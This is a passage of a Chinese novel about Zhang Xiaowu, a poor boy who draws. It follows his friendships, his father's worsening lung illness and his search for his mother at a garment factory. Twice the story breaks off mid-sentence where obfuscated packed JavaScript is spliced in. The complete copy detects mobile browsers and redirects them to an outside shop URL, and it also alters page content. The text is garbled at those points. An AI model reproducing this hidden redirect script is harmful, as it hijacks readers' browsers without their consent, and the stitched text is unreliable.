他抱着那袋东西走回家,一路上都在想,等以后自己有钱了,一定要请周扬吃一顿好的。不是那种街边摊,是正经的饭店,有菜单有桌布的那种。 寒假开始了。 张小五没有像其他同学那样睡懒觉、看电视、打游戏。他的寒假和平时没什么两样,甚至比平时更忙。 每天早上他都会去菜市场买菜。菜市场离他家不远,走路十五分钟。他学会了挑菜——青菜要挑叶子绿的,不能有黄边;西红柿要挑红的,捏起来不能太软;鸡蛋要一个一个对着光照,看里面有没有黑点。 卖菜的大妈们都认识他了,叫他“那个画画的小孩”。因为张小五每次买菜都会蹲在菜摊前画几张速写,画大妈们称菜的样子,画顾客们挑挑拣拣的手,画堆成小山的西红柿和黄瓜。大妈们很喜欢他,有时候会多给他抓一把葱或者塞两个土豆,不收钱。 下午是他画画的时间。他不出去,就坐在客厅里,对着窗户画。窗户是他的取景框,外面的世界是他的素材库。今天对面楼上有人晾被子,明天楼下有人在修自行车,后天隔壁楼的王奶奶在阳台上浇花。这些日常的画面在他的画本上一页一页地累积,像一本用图像写成的日记。 有一天下午,他正在画窗外的一只野猫,听见楼下有人喊他的名字。 “张小五!张小五!” 他推开窗户往下看,是周扬。周扬穿着一件厚厚的羽绒服,围巾把半张脸都遮住了,只露出一双眼睛。他旁边还站着一个人,是个女孩子,扎着马尾辫,穿一件红色的棉袄。 “你下来!”周扬喊。 张小五穿上外套跑下楼。周扬看见他,摘下围巾,露出一张被冻得通红的脸。 “你怎么找到我家的?”张小五问。 “问的班主任。”周扬得意地说,“我厉害吧?” 张小五看了一眼旁边的女孩,有点眼熟,但想不起来是谁。 “这是陈雨桐,隔壁班的。”周扬介绍道,“她也学画画,李老师推荐的,说让我们认识一下。” 陈雨桐朝张小五笑了笑,露出两颗小虎牙:“你好,我看过你的画,李老师给我们班放过,你画得真好。” 张小五的脸一下子红了。不是因为被夸,而是因为他不知道怎么跟女孩子说话。他憋了半天,憋出一句:“你……你也画画?” “嗯,我画水彩。”陈雨桐从书包里拿出一个画本,翻开给他看。上面画的是风景,一条小河,两岸是柳树,河面上有鸭子游过。颜色很鲜艳,绿的绿,红的红,黄的黄,像春天的调色盘被打翻在了纸上。 张小五看了一会儿,说:“你颜色用得真好,我不会用颜色,只会黑白的。” “那你可以学啊。”陈雨桐说,“水彩挺好玩的,就是有点贵,颜料贵,纸也贵。” 张小五没说话。他知道水彩贵,一套十二色的水彩颜料要二十多块,好的要五六十,他买不起。 周扬在旁边站了半天,不耐烦了:“你们能不能别站在门口聊?冻死我了,让我上去坐坐行不行?” 张小五犹豫了一下,还是把他们带上了楼。 推开家门的那一刻,张小五忽然有点紧张。他家的客厅太小了,小到三个人站在里面就觉得挤。墙皮掉了好几块,茶几上的裂纹用透明胶带粘着,沙发扶手上有个洞,露出里面的海绵。厨房的油烟机坏了,油烟排不出去,墙上糊了一层油垢,黄乎乎的,擦都擦不掉。 周扬和陈雨桐进来之后,都愣了一下。 张小五以为他们会露出嫌弃的表情,但是没有。周扬大大咧咧地往沙发上一坐,屁股陷进去一大截,弹簧“嘎吱”响了一声。他拍了拍沙发扶手,说:“你家这个沙发好软,比我家那个硬的舒服多了。” 张小五知道他在说客套话,但还是觉得心里暖了一下。 陈雨桐没有坐下,她在屋里走了一圈,看了看墙上贴的画——都是张小五画的,有风景有人物,有的用胶带粘着,有的用图钉按着。她走到窗户边,推开窗户,冷风“呼”地灌进来,她深深地吸了一口气。 “从这个窗户看出去的风景真好。”她说,“对面那栋楼的红色屋顶,还有远处的那个水塔,构图很好看。” 张小五愣了一下。他在这间屋子里住了十三年,从来没有人说过从这扇窗户看出去的风景好。在他眼里,对面就是普通的老居民楼,红色的瓦片有些已经碎了,水塔上面长满了杂草,谈不上什么好看。 但陈雨桐一说,他再看过去,好像确实有点不一样了。夕阳照在红色的瓦片上,金光闪闪的,水塔的影子拉得很长,投在对面楼的墙上,像一幅巨大的水墨画。 “我从来没注意过。”张小五说。 “因为你天天看,看习惯了。”陈雨桐说,“有时候换一个角度,就能看见不一样的东西。” 张小五把这句话记在了心里。 那天下午,三个少年坐在张小五家的小客厅里,聊了很久。周扬讲他们班里的八卦,谁喜欢谁,谁跟谁打架了,谁在厕所里偷偷抽烟被老师抓到了。陈雨桐讲她学画画的事,她从小就学,妈妈是小学美术老师,家里有很多画册和颜料。张小五不太说话,但他听得很认真。 临走的时候,陈雨桐从书包里拿出一个小盒子递给张小五。 “这个送给你。” 张小五打开盒子,里面是一支毛笔,笔杆是竹子的,笔头是白色的,很软。 “这是我妈给我的,我有两支,这支用不上,送给你。”陈雨桐说,“你先留着,等你以后学水彩了,可以用它。” 张小五看着那支毛笔,笔杆上刻着两个小字——“白云”。他把盒子盖上,递回去。 “太贵重了,我不能要。” “不贵重,就是普通的毛笔,十几块钱。”陈雨桐把盒子推回去,“你要是不收,就是看不起我。” 张小五看了看周扬,周扬摊了摊手,意思是“你别看我,我管不了她”。 张小五只好收下了。 他把那支毛笔放在书桌上最显眼的位置,每天都能看见。他没有用过,因为他还没有水彩颜料,但他经常拿起那支笔,在手指间转一转,感受笔杆的温润和笔头的柔软。 他在心里对自己说,总有一天,他要用这支笔画一幅画。 画什么呢? 他不知道。 但他相信,等到那一天,自然就知道了。 寒假快结束的时候,张小五收到了一个意外的电话。 那天下午他正在画画,手机响了。他看了一眼来电显示,是个陌生号码。他接起来,对面传来一个女人的声音。 “喂,是张小五吗?” “我是,您哪位?” 电话那头沉默了两秒钟,然后那个声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他画完之后,在猫的旁边写了一行字。 “我妈打电话来了。她说她想我。” 写完之后他想了想,又加了一句。 “我也想她。” 那天晚上,张建国回来得很晚。他进门的时候快十点了,浑身都是灰,脸上、脖子上、头发上都是。他一进门就坐在沙发上,半天没动弹。 张小五给他倒了杯水,他接过去一口气喝完。 “爸,你吃饭了吗?” “吃了,工地管饭。”张建国说。 张小五不相信。他走进厨房,打开冰箱,拿出两个鸡蛋和一把挂面,烧水煮面。水开的时候,他听见父亲在客厅里咳嗽,咳得很厉害,一声接一声,像要把肺咳出来。 他端着面出来的时候,张建国已经躺在沙发上了,眼睛闭着,呼吸很重。张小五把面放在茶几上,蹲下来,摸了摸父亲的额头。 很烫。 “爸,你发烧了。”张小五的声音有点慌。 张建国睁开眼,摆了摆手:“没事,就是着凉了,睡一觉就好。” “你量一下体温。” “不用,爸自己的身体爸知道。”张建国撑着坐起来,端起面碗,用筷子挑起面条。他的手有点抖,筷子夹不住滑溜溜的面条,掉了几次。张小五想帮他,被他拦住了。 “爸自己能吃。” 张小五蹲在旁边,看着父亲一口一口地把面吃完。灯光下,父亲的脸很红,嘴唇很干,眼睛里有血丝。他的工装领口敞开着,露出锁骨下面一块青紫色的淤伤。 “爸,你身上怎么了?” 张建国低头看了一眼,把领口拉了拉,遮住那块淤伤:“搬东西的时候碰了一下,不碍事。” 张小五没有再问。他把碗端到厨房,洗干净,放好。然后他回到客厅,看见父亲又躺在沙发上了,呼吸声比刚才更重。 他去父亲的房间拿了一条毯子,盖在父亲身上,又去卫生间拧了一条湿毛巾,敷在父亲额头上。 张建国迷迷糊糊地说了一句什么,张小五没听清。 他坐在沙发旁边的地上,背靠着沙发,听着父亲的呼吸声。那声音一会儿重一会儿轻,像一台老旧的机器,时转时停。 他拿出画本,翻到新的一页,画了父亲躺在沙发上的样子。画面上,父亲的脸很瘦,颧骨很高,眼窝深陷,像一幅被时间磨损的旧画。他画了父亲额头上敷着的湿毛巾,画了父亲露在毯子外面的那双开裂的解放鞋,画了茶几上那个空空的玻璃杯。 画完之后,他在纸的右下角写了两个字。 “心疼。” 窗外的风呼呼地吹,吹得窗户“哐当哐当”响。张小五站起来,走到窗户边,把那根系窗户的绳子重新系紧了一点,然后把窗帘拉上。 他回到沙发边,把毯子往上拉了拉,盖住父亲露在外面的肩膀。 然后他关了灯,坐回地上,背靠着沙发,闭上眼睛。 黑暗中,他又看见了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。但这一次,画室里只有他一个人。 他站在那面巨大的白墙前面,手里握着画笔。 他不知道该画什么。 墙是空白的,画布一样空白的。 他举起笔,悬在半空中。 笔尖在颤抖。 然后他听见一个声音。不是从外面传来的,是从他自己心里传出来的。 “画下去。” 他猛地睁开眼睛。 客厅里一片漆黑,父亲的呼吸声在黑暗中起起伏伏。 张小五摸了摸胸口,心跳很快,快得像要从嗓子眼里蹦出来。 但他不害怕。 因为他知道,那个声音是他自己的。 是他心里那个叫“梦想”的东西,在跟他说话。 “画下去。” 他会的。 不管发生什么,他都会画下去。 7. 裂缝 春天来的时候,张建国的咳嗽没有好。 张小五一开始以为只是普通的感冒,着凉了,吃点药就好了。他去药店买了最便宜的感冒药,白色的药片装在透明的小塑料袋里,一次吃两片,一天吃三次。张建国很听话地吃了,吃完一袋又买了一袋,吃完了再买,可咳嗽就是不停。 不是那种偶尔咳两声的咳嗽,是那种从胸腔深处涌上来的、带着痰音的、像是要把整个人都震碎的咳嗽。有时候张建国咳着咳着就弯下了腰,一只手撑着膝盖,另一只手捂着胸口,脸涨得通红,额头的青筋都暴出来了。 张小五每次看到父亲咳嗽,心里就像被什么东西揪了一下,不疼,但是很紧,紧得喘不过气来。 “爸,你去医院看看吧。”他不知道说过多少次了。 张建国每次都摆摆手:“看什么医院,医院那是烧钱的地方。爸没事,就是抽烟抽多了,戒了就好了。” 他说戒就戒。抽了二十年的烟,一天一包的那种,说戒就戒了。张小五看见他把剩下的半包烟和那个用了好几年的打火机一起扔进了垃圾桶,动作干脆利落,没有一丝犹豫。 戒烟之后,咳嗽确实好了一点,但没好多少。张建国的脸色还是不好,嘴唇发白,眼袋很重,整个人瘦了一圈。以前他穿工装的时候,衣服是合身的,现在穿上去空荡荡的,像挂在衣架上一样。 张小五把这一切都看在眼里,画在纸上。他画父亲咳嗽时弯下去的腰,画父亲清晨出门时在门口停顿的那几秒钟,画父亲晚上回来时坐在沙发上闭着眼睛不想说话的样子。每一幅画都像一份病历,记录着父亲身体一天一天的衰败。 但他不敢把这些画给任何人看。他把它们藏在床底下那摞日历纸的最下面,用橡皮筋捆着,像藏一个不想被人知道的秘密。 初二下学期的课程比初一难了很多。数学开始学函数,英语的语法越来越复杂,物理也加了进来,什么力、运动、惯性,张小五听得云里雾里。 他不是不努力,他是真的跟不上。小学的基础没打好,初一的漏洞还没补上,初二的知识就铺天盖地地压下来,像一座大山,他站在山脚底下,仰着头看,觉得山顶在云里雾里,遥不可及。 李老师找他谈过一次话。 “张小五,你的画画进步很大,老师都看在眼里。”李老师说这话的时候表情很认真,不是那种敷衍的夸奖,“但是你的文化课也不能落下。美术生虽然文化课分数线比普通生低,但也不是没有底线。你要是考不到那个分数线,画得再好也上不了好高中。” 张小五知道李老师是为他好,他点了点头,说:“我会努力的。” “你光说努力不行,你得有方法。”李老师从抽屉里拿出一张纸,上面写着几个名字和电话,“这是学校外面几个补习机构的电话,你可以去问问,周末补补课。” 张小五接过那张纸,看了一眼,叠好放进口袋里。 他没有去问。 不是不想去,是去不起。他打听过,一节补习课要七八十块钱,一学期下来好几千。他爸在工地上累死累活,一个月才挣三千多,房租吃饭就要花掉一大半,哪有余钱给他补课? 他只能靠自己。他把数学课本上的例题一道一道地抄下来,反复做,做到不会做为止。英语他每天早上起来背单词,一边煮稀饭一边背,背完默写,默写错了再背。物理他买了一本最便宜的教辅书,五块钱,盗版的,字迹模糊,有的地方还印重影了,但他看得比谁都认真。 周扬看他这么拼命,有时候会把自己的笔记借给他。周扬的成绩也不咋地,但比他好一点,笔记记得还算工整。张小五把周扬的笔记抄下来,抄完还回去,周扬说你可以不还,张小五说不行,这是你的东西。 周扬有时候会给他讲题,讲着讲着自己也不会了,两个人就大眼瞪小眼,最后一起翻答案。陈雨桐知道之后,偶尔也会来帮忙,她是隔壁班的,成绩比他们两个都好,数学能考八十多分。她讲题的时候很有耐心,一遍听不懂就讲两遍,两遍听不懂就换一种方法讲,直到张小五点头说懂了为止。 张小五觉得,他这辈子遇到的好人好像都集中在初中这几年了。李老师、周扬、陈雨桐、卖菜的大妈们、公交车上给他让座的陌生人……这些人像一盏一盏的小灯,在他灰蒙蒙的生活里亮着,虽然每一盏都不算太亮,但凑在一起,就足以照亮他脚下的路。 四月中旬的一个晚上,张小五正在写作业,听见父亲在卧室里打电话。他已经习惯了父亲偶尔打电话,大多是跟工地上的人联系,问问有没有活干。但这一次不一样,他听见父亲的声音很低很低,低到像是在自言自语,偶尔冒出几个词——“检查”“费用”“再等等”。 等父亲挂了电话,张小五走到卧室门口。 “爸,谁的电话?” 张建国把手机放在床头柜上,脸上的表情很不自然:“没谁,工友,问明天要不要加班的。” 张小五看着父亲的脸。那张脸上有一种他从未见过的表情,不是悲伤,不是愤怒,而是一种类似于恐惧的东西,像是有什么看不见的阴影正笼罩在头顶上,越压越低。 “爸,你是不是有事瞒着我?” 张建国愣了一下,然后笑了。他笑起来的时候眼角的皱纹很深,但那个笑容太用力了,用力到像是在表演。 “瞒你什么?爸能有什么事瞒你?快去写作业,明天还上学呢。” 张小五没有动。他站在门口,手扶着门框,指节因为用力而发白。他想说“爸,你别骗我”,但这句话卡在喉咙里,怎么都说不出来。 因为他怕。 他怕父亲真的有事瞒着他。他怕那件事是很坏很坏的事。他怕自己知道了之后,这个世界就会像一面镜子一样,“咔嚓”一声碎掉,再也拼不回来。 所以他选择了不问。 他转过身,回到桌前,继续写作业。数学题的函数图像在纸上画了一条抛物线,起起伏伏,像过山车的轨道。他不知道这条抛物线会通向哪里,但他知道,不管通向哪里,他都要坐上去。 因为那是他的路。 五一劳动节的时候,学校放了三天假。 周扬提议去公园写生,陈雨桐举双手赞成,张小五犹豫了一下也答应了。他已经很久没有出去过了,每天就是家、学校、菜市场三点一线,像一头被拴在木桩上的驴,一圈一圈地转,转得头都晕了。 那天天气很好,阳光明媚但不刺眼,风里带着花香和青草的味道。人民公园里人很多,有遛狗的、放风筝的、跳广场舞的、谈恋爱的,热闹得像赶集一样。 三个少年找了一个安静的角落,在湖边的长椅上坐下来。湖水绿莹莹的,几只游船在水面上慢悠悠地漂着,船上的人有的在踩脚踏,有的在吃东西,有的在拍照。远处的拱桥倒映在水里,桥洞和水中的倒影拼成一个完整的圆。 陈雨桐支起她的水彩画架,开始调颜色。她带了一个小水桶、一盒水彩颜料、两三支毛笔和一大瓶清水。她把颜料挤在调色盘上,红的、黄的、蓝的、绿的、紫的,像一条彩色的毛毛虫。 周扬带了一盒彩色铅笔,据说是在网上买的,四十八色的,装在一个铁盒子里,打开之后花花绿绿的一大片。他其实不太会画画,但他喜欢凑热闹,他说他今天要画“印象派”——就是那种看不太清楚但感觉还挺好看的东西。 张小五只带了他的画本和两支铅笔,一支2B,一支4B。他在长椅上坐下来,翻开画本,看着面前的景色,一时不知道从哪下笔。 他习惯了画人,画身边的人,画那些有温度、有故事的东西。风景对他来说太安静了,安静得让他不知道该怎么跟它对话。 “你先看。”陈雨桐头也不抬地说,“看够了再画。风景跟人不一样,人是一眼就能看见故事,风景需要你多看一会儿,故事才会慢慢出来。” 张小五就那样看着。 他看着湖水被风吹起一层一层的波纹,阳光洒在上面,碎成千万片金箔。他看着远处的拱桥上走过一对情侣,女孩手里举着一个粉色的棉花糖,男孩在给她拍照。他看着湖边的柳树,柳枝垂到水面上,风一吹就轻轻摇摆,像是在梳头。 他看着看着,忽然就看见了。 那不是湖水,是时间在流淌。那不是拱桥,是连接两岸的路。那不是柳树,是站在水边等什么人等了很久很久的老人。 他开始画了。 他没有画全景,只画了湖边的一棵柳树和一小片水面。他用4B铅笔画出柳树粗糙的树干,用2B铅笔勾出垂下来的柳枝,每一根都细细的、软软的,像是少女的长发。水面的波纹他用很轻的线条去表现,一条一条的弧线,层层叠叠,像无数个月牙拼在一起。 他画得很慢,慢到陈雨桐画完了一整张水彩,他才画了一半。陈雨桐走过来看他的画,看了一会儿,说了一句让他意外的话。 “你不应该只画素描。”她说,“你应该学色彩。你的画里有光,但你的铅笔表现不出来。” 张小五看着自己的画。确实,柳树的影子投在水面上,那个影子应该是灰蓝色的,但他只能用黑色去画,画出来的影子死气沉沉的,没有那种水面上波光粼粼的感觉。 “等我攒够钱吧。”他说,“买颜料要钱,买水彩纸也要钱。” 陈雨桐张了张嘴,想说什么,最后只是“嗯”了一声,回到自己的画架前继续画画。 周扬在旁边喊:“你们快来看我画的!” 两个人走过去一看,都笑了。周扬画的是湖边的那个亭子,但那个亭子歪歪扭扭的,柱子是弯的,屋顶是斜的,颜色也涂得乱七八糟,红色涂到了蓝色上面,蓝色涂到了绿色上面,整个画面像是一个喝醉了酒的人眼中的世界。 “这叫印象派!”周扬理直气壮地说。 “这不是印象派,这是抽象派。”陈雨桐笑着说。 “抽象派也行,反正都是艺术。” 张小五看着周扬那幅“作品”,忽然觉得周扬其实挺可爱的。他不会画画,但他从来不觉得丢人,想画就画,画成什么样都开心。这种心态,张小五觉得自己一辈子都学不来。 那天下午,他们三个人在湖边坐了好几个小时,画了满满一沓纸。太阳快落山的时候,陈雨桐把她的画架收起来,周扬把彩色铅笔装回铁盒子里,张小五合上画本,三个人并排坐在长椅上,看着夕阳把整个湖面染成了橘红色。 “张小五。”周扬忽然开口。 “嗯。” “你说你以后想当画家,那你最想画什么?” 张小五想了想,说:“我想画人。画那些被遗忘的人。建筑工人、清洁工、摆摊的小贩、捡瓶子的老太太。他们每天都在我们身边,但我们很少认真地看他们。” 陈雨桐转过头看着他,眼睛里有一种说不清的光。 “那你一定能画好。”她说,“因为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444003|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是他们中的一个。” 张小五愣了一下,然后笑了。他知道陈雨桐没有恶意,她说的是事实。他就是他们中的一个,穷人家的孩子,住在城中村的老房子里,每天为几块钱的饭钱发愁。但这有什么关系呢?正是因为他是他们中的一个,他才懂他们,才知道他们的手是什么样的,他们的笑是什么样的,他们的眼睛里藏着什么样的故事。 这就是他的武器。 别人有钱买最好的颜料、最好的画纸、最好的画笔,但他有生活。他的画纸上浸透了生活的味道——汗水的咸味、泪水的苦涩、稀饭的寡淡,还有偶尔吃到一颗糖时的甜。 这些味道,买不来。 回家的公交车上,张小五靠着车窗,翻开画本,看着今天画的那棵柳树。夕阳透过车窗照在纸面上,给那些灰色的线条镀上了一层金色。 他忽然想起陈雨桐说的那句话——“你的画里有光。” 他以前不知道自己的画里有光。他只是画他看到的东西,画他心里想的东西,从来没有想过那些线条和调子会发光。 但现在他知道了。 那光不是他画出来的。 那光是他心里本来就有的。 五月中旬的一个早晨,张小五正在煮稀饭,听见父亲房间里传来一声巨响。 “嘭”的一声,像是什么东西摔在了地上。 他扔下勺子跑过去,推开门,看见张建国倒在床边,一只手撑着地面,另一只手捂着胸口,脸色白得像纸,嘴唇发紫,豆大的汗珠从额头上滚下来。 “爸!”张小五冲过去,想把他扶起来,但张建国太重了,他根本扶不动。 “没事……没事……”张建国喘着粗气,声音像是从很远的地方传过来的,“就是起床的时候……头晕……摔了一下……” “你等着,我去打120!” “别!”张建国一把抓住张小五的手腕,力气大得出奇,“别打120,太贵了。扶爸起来,坐一会儿就好了。” 张小五的眼泪一下子就涌出来了。他咬着嘴唇,使劲把父亲从地上拉起来,扶到床上躺好。张建国的后背全是冷汗,衣服都湿透了,贴在身上,像一层黏糊糊的皮。 “爸,你告诉我,你到底怎么了?”张小五的声音在发抖,“你是不是生了什么病?” 张建国闭着眼睛,胸口剧烈地起伏着。过了好一会儿,他才开口,声音沙哑得几乎听不清。 “小五,爸跟你说个事,你别怕。” 张小五的心猛地一沉,像从悬崖上掉了下去。 “上个月……爸去医院检查了一下。医生说爸的肺……有点问题。” “什么问题?” 张建国没有回答。他睁开眼,看着天花板,眼角的泪水无声地滑下来,流进耳朵里。 “爸也不知道。医生说要做进一步检查,爸没做。检查要钱,治疗也要钱,爸没有那个钱。” 张小五跪在床边,抓住父亲的手。那只粗糙的大手凉得像冰块,手指在微微颤抖。 “爸,我们去医院。钱的事我想办法。” “你能想什么办法?”张建国苦笑了一下,“你还是个孩子。” “我……” 张小五想说自己可以去打工,可以去捡瓶子卖,可以去发传单,可以做一切他能做的事。但他说不出口,因为他知道父亲不会同意。 张建国翻过身,看着儿子的脸。那张小小的、倔强的、还没有完全长大的脸。他伸出手,用拇指擦了擦张小五脸上的眼泪。 “别哭了。”他说,“爸还没死呢。” 张小五使劲吸了一下鼻子,把眼泪逼回去。他站起来,走到厨房,把火关了。稀饭已经煮干了,锅底糊了一层,焦糊味弥漫在整个屋子里。 他把锅拿到水龙头下冲了冲,糊掉的部分被水冲掉了,露出锅底黑乎乎的一片。他盯着那片黑色看了很久,然后关掉水龙头,把锅放在一边。 他没有再煮新的稀饭。他回到父亲的房间,坐在床边,握着父亲的手,一句话也不说。 窗外的天渐渐亮了,阳光从窗帘的缝隙里挤进来,在地板上画了一条细细的金线。 张建国睡着了。睡着之后他的呼吸平稳了很多,脸色也稍微好了一点。 张小五看着父亲的脸,在心里做了一个决定。 他要去找妈妈。 他不知道妈妈在城里的哪个地方,不知道她的电话号码——她上次打过来的号码他存了,但他一直没有打过。他不知道妈妈愿意见他,不知道妈妈会不会帮他。 但他要去找她。 不是为了自己,是为了父亲。 他轻手轻脚地走出房间,回到自己的书桌前,翻开画本,撕下一张空白的纸。他拿起笔,想给父亲留一张纸条,但写了几个字又划掉了,写了又划掉,反复了好几次。 最后他只写了六个字。 “爸,我去去就回。” 他把纸条压在茶几上,穿上外套,把手机和仅有的四十三块钱装进口袋,出了门。 走到楼下的时候,他回头看了一眼六楼的窗户。窗帘是拉着的,看不见里面。 他转过身,深吸一口气,走进了清晨的微光里。 他不知道妈妈在哪个服装厂,不知道那个服装厂在哪个区,不知道到了之后该怎么找。 但他必须去找。 因为除了妈妈,他想不到任何人了。 8. 寻找母亲 张小五站在公交站牌下,仰着头看了很久。 站牌上的字密密麻麻,黑色的线路像蜘蛛网一样交织在一起。他从来没去过母亲说的那个“城里”,不知道那是一座什么样的城市,不知道它离这里有多远,更不知道母亲打工的那个服装厂叫什么名字、在什么位置。 他只知道一个大概的方向——往南。母亲走的那天,他站在巷口看着她的背影消失在南边的马路尽头。那时候他五岁,刚上幼儿园大班,对距离没有任何概念,只觉得母亲走了很远很远,远到他踮起脚尖也看不见了。 一辆公交车进站了,是2路。张小五看了看站牌,2路车的终点站是“城南客运站”。城南,也许到了那边能找到一些线索。他上了车,投了两块钱,走到最后一排靠窗的位置坐下。 车里人不多,稀稀拉拉地坐着几个早起的老头和买菜的大妈。张小五靠着车窗,看着窗外的街景一点一点地往后退。他住的那条老街,街口的包子铺,路边的梧桐树,学校门口的文具店——所有这些他熟悉的东西,都在窗外飞快地后退,像一帧一帧被抽走的画面。 他忽然觉得有点慌。 不是因为离开了熟悉的地方,而是因为他不知道自己要去的地方在哪里。这种感觉就像站在一片茫茫的大雾里,前后左右都是白茫茫的,看不见路,也看不见尽头。他只能凭着直觉往前走,走一步算一步,走到哪里算哪里。 他深吸一口气,从口袋里掏出画本和铅笔。他不想让自己去想那些乱七八糟的事,他要画画。画能让他安静下来,能让他的脑子里只剩下一件事——线条、形状、明暗、光影。 他画了对面坐着的那个老头。老头穿着一件灰色的夹克,戴着一顶洗得发白的棒球帽,帽檐压得很低,遮住了大半张脸。他闭着眼睛打盹,嘴巴微微张开,露出几颗黄乎乎的牙齿。他的手里攥着一个红色的塑料袋,袋子里装着几个馒头和一袋豆浆。 张小五用快速的线条勾出他的轮廓,然后在他的脸上加了很多细节——额头的皱纹,鼻翼两侧的法令纹,下巴上冒出来的几根白胡茬。他画得很快,但每一笔都很笃定,像是早就知道该怎么画,只是等着用手把它们呈现出来。 画完之后,他在旁边写了一行小字:“早班公交车上打盹的老人。他的馒头还热着,塑料袋里有水汽。” 公交车摇摇晃晃地开了四十多分钟,终于到了城南客运站。张小五下了车,站在车站广场上,看着眼前陌生的景象。 城南客运站比他想象的大得多。巨大的候车楼像一座城堡,玻璃幕墙反射着早晨的阳光,晃得人睁不开眼。广场上人来人往,有拖着行李箱赶路的,有举着牌子接人的,有蹲在地上吃泡面的,有躺在长椅上睡觉的。各种声音混杂在一起——广播里报站的女声,小贩叫卖的吆喝声,孩子的哭闹声,汽车的喇叭声——像一锅煮沸了的粥,咕嘟咕嘟地冒着泡。 张小五站在广场中央,被这人流推来搡去,像一叶漂在急流中的小舟。他茫然地看了看四周,不知道该往哪个方向走。 他想起母亲上次打电话时说的那句话——“妈妈现在在城里,找了一份工作,在一个服装厂上班。”服装厂,他只知道这个。可城南这么大,服装厂不知道有多少家,他怎么找? 他走到一个卖报纸的老太太跟前,问:“奶奶,请问这附近有服装厂吗?” 老太太抬起头看了他一眼,上下打量了一番,用一口浓重的方言说:“服装厂多了去了,往南走两站路有一个工业园区,里面全是工厂,服装厂、电子厂、印刷厂,啥都有。你找哪个?” “我……我不知道名字。”张小五说,“我妈妈在里面上班,我只知道是服装厂。” 老太太摇了摇头:“那难找了,工业园区里少说有七八家服装厂,大的小的都有,你一家一家找过去,找到天黑都找不完。” 张小五的心沉了一下。但他没有放弃。他向老太太道了谢,按照她指的方向往南走。 工业园区确实不远,走路大概二十多分钟就到了。张小五站在工业园区的门口,看见里面一排一排的厂房整整齐齐地排列着,灰色的墙壁,蓝色的屋顶,像一列列停在那里的火车。厂房的墙壁上挂着各种招牌——“宏达制衣”“新星服饰”“美佳时装”……他数了数,光他看见的就有五六家。 他走进园区,先去了最近的那家“宏达制衣”。门口有一个保安室,里面坐着一个穿制服的中年男人,翘着二郎腿看手机。张小五敲了敲窗户,保安抬起头,不耐烦地看着他。 “干什么的?” “叔叔,请问你们厂里有没有一个叫王秀兰的工人?” “王秀兰?”保安想了想,摇了摇头,“没听说过。你找她干什么?” “她是我妈妈。” 保安又看了他一眼,眼神里多了一点说不清的东西。他拿起桌上的对讲机,按了一下按钮,说了几句什么。对讲机那头传来一阵嘈杂的声音,听不太清。过了一会儿,保安放下对讲机,摇了摇头。 “我们厂没有这个人。你去别家问问吧。” 张小五说了声谢谢,转身走向下一家。 第二家是“新星服饰”,门卫是个老头,耳朵不太好,张小五扯着嗓子喊了好几遍“王秀兰”,他才听明白。老头想了想,说:“我们厂女工多,好几十号人,我一个都不认识。你去找车间主任问问。” “车间主任在哪?” “里面,二楼。不过你不能进去,厂里有规定,外人不能进车间。” 张小五站在门口,看着那扇紧闭的铁门,心里堵得慌。他知道自己进不去,就算进去了,车间那么大,人也未必找得到。他站在门口犹豫了一会儿,还是决定去下一家。 第三家,第四家,第五家…… 一家一家地问,一家一家地碰壁。有的保安态度好,会帮他用对讲机问一问;有的保安态度差,直接挥手赶人;有的工厂连保安都没有,铁门紧锁,门上的小窗黑乎乎的,什么都看不见。 太阳一点一点地升高,从东边爬到头顶,又从头顶慢慢向西边滑去。张小五的腿走酸了,嗓子问哑了,脚后跟磨出了两个水泡,每走一步都疼得龇牙。他早上出门的时候只带了四十三块钱,坐车花了两块,还剩四十一。他没舍得花钱买水,在路边的公共厕所里喝了几口自来水,凉飕飕的,带着一股铁锈味。 下午三点多的时候,他走到了工业园区的尽头。那里有一家很小的服装厂,没有招牌,只有一个灰色的铁皮门,门口堆着一堆废布料,五颜六色的碎布头散了一地,空气里弥漫着一股布料和机油混合的气味。 张小五犹豫了一下,还是走过去敲了敲门。 没有人应。 他又敲了几下,门缝里传来“嗡嗡嗡”的机器声,盖过了他的敲门声。他用力推了一下门,门没锁,开了一条缝。他侧身挤了进去。 里面是一个不大的车间,十几台缝纫机排成两排,女工们低着头在机器前忙碌。灯光昏暗,空气闷热,布料上的绒毛在光线里飞舞,像一场无声的雪。机器“嗡嗡嗡”地响着,声音沉闷而单调,像一群巨大的蜜蜂在耳边盘旋。 张小五站在门口,目光从一张脸扫到另一张脸。那些脸都很相似——疲倦、专注、被岁月和生活磨去了棱角。她们有的年轻,有的年长,有的戴着头巾,有的扎着马尾,有的头发随便用夹子夹着,几缕碎发垂在额前。 他一个一个地看过去。 不是。不是。不是。 都不是。 他的心跳得很快,手心全是汗。他不知道自己是在期待找到母亲,还是在害怕找到母亲。他想见到她,想跟她说父亲病了,需要钱,需要帮助。但他又怕见到她,怕她拒绝,怕她说“这不关我的事”,怕她让他滚。 就在他快要绝望的时候,他看见了一个背影。 那个背影在车间最里面的角落,靠近窗户的位置。她穿着一件白色的工作服,头发用黑色的夹子夹在脑后,露出纤细的脖颈。她的背微微弯着,肩膀一高一低,双手在缝纫机上来回移动。 张小五看着那个背影,心脏猛地跳了一下。 他认出了那个背影。 即使隔了这么多年,即使只有一个模糊的轮廓,他还是认出了。那是母亲的背影。他记得小时候母亲坐在缝纫机前给他做衣服的样子,背微微弯着,肩膀一高一低,头发用夹子夹在脑后。那个画面他在梦里见过无数次,每一次都模糊得像隔了一层毛玻璃,但此刻,它突然变得无比清晰。 